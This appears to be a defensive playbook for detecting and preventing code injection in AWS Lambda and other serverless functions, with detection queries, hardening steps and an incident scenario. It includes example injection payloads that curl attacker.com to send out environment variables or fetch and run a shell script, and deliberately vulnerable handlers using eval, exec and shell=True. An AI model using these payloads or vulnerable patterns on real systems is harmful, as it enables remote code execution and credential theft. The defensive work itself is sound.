Detects and prevents code injection attacks targeting serverless functions (AWS Lambda, Azure Functions, Google Cloud Functions) through event source poisoning, malicious layer injection, runtime command execution, and IAM privilege escalation via function modification. The analyst combines static analysis of function code, CloudTrail event correlation, runtime behavior monitoring, and IAM policy auditing to identify injection vectors across the expanded serverless attack surface including API Gateway, S3, SQS, DynamoDB Streams, and CloudWatch event triggers. Activates for requests involving Lambda security assessment, serverless injection detection, function event poisoning analysis, or serverless privilege escalation investigation.
Auditing Lambda/Cloud Functions for code injection vulnerabilities where unsanitized event data flows into dangerous runtime functions (eval, exec, child_process.exec, os.system)
Investigating incidents where an attacker modified function code or layers to establish persistence or exfiltrate data from the serverless environment
Detecting privilege escalation paths where an adversary with lambda:UpdateFunctionCode and iam:PassRole can assume higher-privilege execution roles
Analyzing event source poisoning attacks where malicious payloads are injected through S3 object uploads, SQS messages, DynamoDB stream records, or API Gateway requests that trigger function execution
Building detection rules for SOC teams monitoring serverless workloads for unauthorized function modifications, layer additions, and suspicious invocation patterns
Do not use for load testing or denial-of-service simulation against serverless functions, for testing against production functions processing live customer data without explicit authorization, or for modifying IAM policies in shared accounts without change management approval.
Prerequisites
AWS account access with read permissions for Lambda, CloudTrail, IAM, CloudWatch Logs, and EventBridge
AWS CLI v2 configured with appropriate credentials and region
CloudTrail enabled with Data Events for Lambda (captures Invoke events) and Management Events (captures UpdateFunctionCode, UpdateFunctionConfiguration, CreateFunction)
Python 3.9+ with boto3, bandit (Python SAST), and semgrep for static analysis
Access to function source code or deployment packages for static analysis
CloudWatch Logs Insights access for querying Lambda execution logs
Workflow
Step 1: Enumerate the Serverless Attack Surface
Map all Lambda functions and their event source triggers to understand injection entry points:
List all Lambda functions and their configurations:
Identify API Gateway triggers: API Gateway routes pass HTTP request data (headers, query strings, body, path parameters) directly into the Lambda event object:
These test IDs specifically target exec, pickle, eval, subprocess with shell=True, and other injection-relevant patterns.
Custom pattern detection: Search for indirect injection patterns where event data is concatenated into strings that are later executed:
# Indirect injection: event data flows into SQL query stringquery = f"SELECT * FROM users WHERE id = '{event['userId']}'"cursor.execute(query) # SQL injection# Indirect injection: event data flows into template renderingtemplate = event['template']rendered = jinja2.Template(template).render() # SSTI
Step 3: Detect Event Source Poisoning
Analyze event sources for injection payloads that exploit how Lambda processes triggers:
S3 event key injection: When a Lambda function processes S3 events, the object key from the event record can contain injection payloads. An attacker uploads an object with a malicious key name:
Attack: Upload an object with key ; curl http://attacker.com/exfil?data=$(env) to inject a command through the S3 event.
SQS message body injection: Lambda processes SQS messages where the body contains attacker-controlled data:
# Vulnerable Lambda handlerdef handler(event, context): for record in event['Records']: message = json.loads(record['body']) # VULNERABLE: message content used in eval result = eval(message['formula'])
API Gateway header/parameter injection: HTTP request data passes through API Gateway into the Lambda event:
# Vulnerable Lambda handlerdef handler(event, context): user_agent = event['headers']['User-Agent'] # VULNERABLE: header value used in shell command subprocess.run(f"echo {user_agent} >> /tmp/access.log", shell=True)
DynamoDB Stream record injection: Modified DynamoDB items trigger Lambda with the new record values. If an attacker can write to the table, they control the event data:
# Vulnerable Lambda handlerdef handler(event, context): for record in event['Records']: new_image = record['dynamodb']['NewImage'] config = new_image['config']['S'] # VULNERABLE: DynamoDB record value used in exec exec(config)
Detection via CloudWatch Logs Insights: Query for evidence of injection attempts in function execution logs:
fields @timestamp, @message| filter @message like /(?i)(eval|exec|os\.system|child_process|subprocess|import os)/| filter @message like /(?i)(error|exception|traceback|syntax)/| sort @timestamp desc| limit 100
Step 4: Detect Malicious Lambda Layer Injection
Identify unauthorized Lambda layers that intercept function execution or exfiltrate data:
Audit current layer attachments: List all functions and their layer versions to identify unexpected additions:
Deploy runtime protection controls to prevent injection at execution time:
Input validation at handler entry: Validate and sanitize all event data before processing:
import reimport jsonfrom functools import wrapsSAFE_PATTERNS = { 'userId': re.compile(r'^[a-zA-Z0-9\-]{1,64}$'), 'email': re.compile(r'^[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}$'), 'action': re.compile(r'^(get|list|create|update|delete)$'),}def validate_event(schema): """Decorator that validates Lambda event against a whitelist schema.""" def decorator(func): @wraps(func) def wrapper(event, context): for field, pattern in schema.items(): value = event.get(field, '') if isinstance(value, str) and not pattern.match(value): return { 'statusCode': 400, 'body': json.dumps({'error': f'Invalid {field}'}) } return func(event, context) return wrapper return decorator@validate_event(SAFE_PATTERNS)def handler(event, context): # Event data is validated before reaching this point user_id = event['userId'] # Safe to use in queries with parameterized statements return {'statusCode': 200, 'body': json.dumps({'user': user_id})}
Lambda function URL authorization: Ensure functions exposed via URLs require IAM auth:
aws lambda get-function-url-config --function-name <name> \ --query 'AuthType' --output text# Must return "AWS_IAM", not "NONE"
Least privilege execution roles: Restrict the function's IAM role to the minimum required permissions:
SCP to prevent dangerous Lambda modifications: Apply a Service Control Policy at the organization level to restrict who can modify Lambda functions and pass roles:
An attack where malicious data is injected into a serverless event source (S3, SQS, DynamoDB Stream, API Gateway) to trigger code execution or injection when the function processes the event
Function Injection
Exploitation of unsanitized event data that flows into dangerous runtime functions (eval, exec, os.system, child_process.exec) within a serverless function handler
Lambda Layer Hijacking
An attack where a malicious Lambda layer is attached to a function to intercept execution, override dependencies, or exfiltrate data by placing code in the runtime's module search path
IAM Privilege Escalation via Lambda
A technique where an attacker with UpdateFunctionCode and PassRole permissions modifies a function to execute with a higher-privilege IAM role, extracting temporary credentials
OWASP Serverless Top 10
A security framework identifying the ten most critical risks in serverless architectures, including injection (SAS-1), broken authentication (SAS-2), and over-privileged functions (SAS-6)
Cold Start Injection
An attack that targets the function initialization phase where environment variables, layer code, and extensions execute before the handler, potentially in an unmonitored context
Execution Role
The IAM role assumed by a Lambda function during execution, providing temporary credentials that define the function's AWS API access permissions
Tools & Systems
Semgrep: Static analysis tool with serverless-specific rule packs that detect event data flowing into injection sinks across Python, Node.js, Java, and Go Lambda runtimes
Bandit: Python-specific SAST tool that identifies security issues including use of eval, exec, subprocess with shell=True, and pickle deserialization
AWS CloudTrail: Logs Lambda management events (UpdateFunctionCode, CreateFunction) and data events (Invoke) for detecting unauthorized modifications and anomalous invocation patterns
CloudWatch Logs Insights: Query engine for searching Lambda execution logs for injection attempt indicators, runtime errors, and suspicious command patterns
AWS Config: Evaluates Lambda function configurations against compliance rules including layer inventory, execution role permissions, and function URL authorization types
Prowler: Open-source AWS security assessment tool with Lambda-specific checks for public access, overprivileged roles, and missing encryption
Common Scenarios
Scenario: Detecting and Responding to a Lambda-Based Privilege Escalation Attack
Context: A SOC analyst receives a GuardDuty alert for UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration.OutsideAWS on an IAM role used by multiple Lambda functions. Investigation reveals that an attacker compromised a developer's AWS credentials with lambda:UpdateFunctionCode permissions and modified a payment processing function to exfiltrate the execution role's temporary credentials.
Approach:
Query CloudTrail for UpdateFunctionCode events in the past 7 days to identify when the function was modified and by which principal:
Discover that the function was modified from an IP address in an unexpected geographic location at 02:47 UTC, outside of normal deployment windows
Download the modified function code and find an injected snippet that POSTs os.environ['AWS_ACCESS_KEY_ID'], AWS_SECRET_ACCESS_KEY, and AWS_SESSION_TOKEN to an external endpoint on each invocation
Check if the attacker also added a malicious layer by querying for UpdateFunctionConfiguration events with layer changes
Verify the function's execution role permissions: the payment-processor role has dynamodb:*, s3:GetObject, s3:PutObject, and sqs:SendMessage across all resources, exceeding least privilege
Search CloudTrail for API calls made by the exfiltrated credentials from outside AWS, finding sts:GetCallerIdentity, s3:ListBuckets, dynamodb:Scan on the customer table, and iam:CreateUser attempts
Respond by reverting the function code from the last known-good deployment package in the CI/CD artifact store, rotating the execution role's session tokens, and adding an SCP that restricts lambda:UpdateFunctionCode to the CI/CD role only
Pitfalls:
Only checking the function code and missing malicious layers that persist even after the function code is reverted
Not searching for lateral movement from the exfiltrated credentials to other AWS services, missing data exfiltration from DynamoDB or S3
Failing to check if the attacker created new IAM users, access keys, or roles during the window the credentials were valid
Restoring the function without first preserving the malicious code as forensic evidence
Not implementing preventive controls (SCP, EventBridge alerting) after remediation, leaving the same attack path open
Output Format
## Serverless Function Injection Assessment**Account**: 111122223333**Region**: us-east-1**Functions Analyzed**: 47**Event Source Mappings**: 23**Assessment Date**: 2026-03-19### Critical Findings#### FINDING-001: OS Command Injection in S3 Event Handler**Function**: image-resize-processor**Runtime**: python3.12**Severity**: Critical (CVSS 9.8)**Sink**: os.system() at handler.py:34**Source**: event['Records'][0]['s3']['object']['key']**Attack Vector**: Upload S3 object with key containing shell metacharacters**Proof of Concept**: Object key: `; curl http://attacker.com/shell.sh | bash` Results in: os.system("convert /tmp/; curl http://attacker.com/shell.sh | bash")**Remediation**: Replace os.system() with subprocess.run() with shell=False and validate the S3 key against an allowlist pattern.#### FINDING-002: IAM Privilege Escalation Path**Function**: data-export-worker**Execution Role**: arn:aws:iam::111122223333:role/DataExportRole**Role Permissions**: s3:*, dynamodb:*, iam:PassRole, lambda:***Risk**: Any user with lambda:UpdateFunctionCode can modify this function to execute arbitrary AWS API calls with AdministratorAccess-equivalent permissions.**Remediation**: Apply least privilege to the execution role, restrict lambda:UpdateFunctionCode via SCP to CI/CD pipeline role only.#### FINDING-003: Unauthorized Layer Attached**Function**: auth-token-validator**Layer**: arn:aws:lambda:us-east-1:999888777666:layer:utility-lib:3**Layer Account**: External account (999888777666)**Risk**: Layer from untrusted external account can intercept all function invocations, modify responses, or exfiltrate environment variables.**Remediation**: Remove the external layer, vendor the dependency into the function's deployment package, add AWS Config rule to block external layers.### Detection Rules Deployed- EventBridge rule: Alert on UpdateFunctionCode from non-CI/CD principals- CloudWatch alarm: Function error rate spike > 3x baseline in 5 minutes- Config rule: Lambda functions must not have layers from external accounts- Config rule: Lambda execution roles must not have wildcard resource permissions
Source materials
References and resources
Everything below is rendered for inspection. Script files are read-only and never run.
References 1
api-reference.md5.0 KB
API Reference: Serverless Function Injection Detection Agent
Overview
Detects code injection vulnerabilities in AWS Lambda functions by scanning function code for dangerous sinks (eval, exec, os.system, child_process.exec), auditing Lambda layers for external account dependencies, identifying IAM privilege escalation paths through overprivileged execution roles, and monitoring CloudTrail for suspicious function modifications. For authorized security assessments only.
Dependencies
Package
Version
Purpose
boto3
>=1.26
AWS API access for Lambda, IAM, CloudTrail
CLI Usage
# Full assessment with code scanningpython agent.py --region us-east-1 --scan-code --cloudtrail-days 14 --output report.json# Scan specific functions onlypython agent.py --functions payment-processor auth-handler --scan-code --output report.json# Quick assessment without code download (IAM, layers, CloudTrail only)python agent.py --region us-west-2 --output quick_report.json
Arguments
Argument
Required
Description
--region
No
AWS region to assess (default: us-east-1)
--functions
No
Specific function names to scan (default: all functions in region)
--scan-code
No
Download and scan function deployment packages for injection sinks
--cloudtrail-days
No
Number of days of CloudTrail history to search (default: 7)
Lists all Lambda functions with runtime, handler, execution role, layers, environment variable names, and function URL configuration. Flags functions with secrets in environment variables.
get_event_source_mappings(lambda_client)
Enumerates all event source mappings (SQS, DynamoDB Streams, Kinesis, Kafka, MQ) to identify injection entry points where untrusted data enters function handlers.
Downloads the function deployment package, extracts it, and scans source files for injection sinks using regex patterns. Checks whether event data accessors (event[, event.get() appear in the context around each sink to assess data flow confidence.
audit_layers(lambda_client, functions)
Identifies Lambda layers from external AWS accounts and high-impact layers shared across 5+ functions. External layers can intercept function execution or override runtime dependencies.
Audits execution roles for dangerous permissions (iam:PassRole, lambda:UpdateFunctionCode, sts:AssumeRole) and administrative policies. Any function with UpdateFunctionCode + PassRole is a privilege escalation vector.
Searches CloudTrail for UpdateFunctionCode, UpdateFunctionConfiguration, PublishLayerVersion, and CreateFunction events. Flags modifications outside CloudFormation/console, role changes, layer additions, and off-hours activity.